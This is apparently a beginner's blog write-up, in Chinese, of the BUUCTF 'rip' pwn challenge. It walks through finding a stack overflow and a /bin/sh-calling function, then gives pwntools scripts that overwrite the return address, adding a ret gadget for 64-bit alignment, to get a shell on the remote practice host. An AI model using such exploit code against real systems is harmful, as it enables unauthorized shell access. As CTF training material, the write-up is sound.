初学pwn-BUUCTF(rip)

本文介绍了作者在BUUCTF平台上进行的一次pwn题解题过程,涉及栈溢出漏洞的利用。通过分析程序,找到/bin/sh的地址并构造payload,尝试获取shell权限。在初次尝试失败后,了解到64位系统中地址需要对齐,通过添加retn指令解决了问题,最终成功获取shell。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

初学pwn-writeUp

BUUCTF平台的一道题目,rip。
与之前同样的步骤,启动靶机,链接远端
在这里插入图片描述
发现这里提示输入一些内容,但是输入完成之后,这里就结束了。还是要打开文件查看一下。
在这里插入图片描述
看到这里,只有一个输入的过程可以操作,那就很清楚了,就是要栈溢出了。点进去看一下。
在这里插入图片描述
可以看到这里s这个数组是15个字节,到r这个返回值还需要8个字节。不过这里要注意的一点是,这个15是十进制的,不能像之前再在数字之前加0x标记十六进制,这里可以直接写十进制。
摁shift+f12,可以看到这时还有什么地址可能会用到,
在这里插入图片描述
发现了我们的关键字,/bin/sh,这就是我们想要的指令,继续查看,可以发现,这个指令在fun()函数中。
在这里插入图片描述
那就简单了,跟之前的套路完全一样,只要把fun函数的地址返回给刚刚我们在s数组后看到的r中就可以。
编写脚本

from pwn import *

p = remote("node4.buuoj.cn", 25119);

payload = 'a' * 23 + p64(0x401186).decode("iso-8859-1");
p.sendline(payload);

p.interactive();

但是很遗憾,失败了。
在这里插入图片描述
执行脚本之后,发现并没有获得shell权限。遇到这个问题,就很奇怪,明明是没有什么问题,很简单的一个练习。只能求助于百度。搜索之后发现64位系统中,需要地址对齐之后才可以执行system。这里需要在fun函数的地址之前加一个retn的地址,在IDA-view里随便找一个retn的指针都可以。具体的原理还没理解,不过这样可以解决地址对齐的问题。
修改脚本

from pwn import *

p = remote("node4.buuoj.cn", 25119);

payload = 'a' * 23 + p64(0x401185).decode("iso-8859-1") +  p64(0x401186).decode("iso-8859-1");
#p.recvuntil("please input");
p.sendline(payload);

p.interactive();

解决问题!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值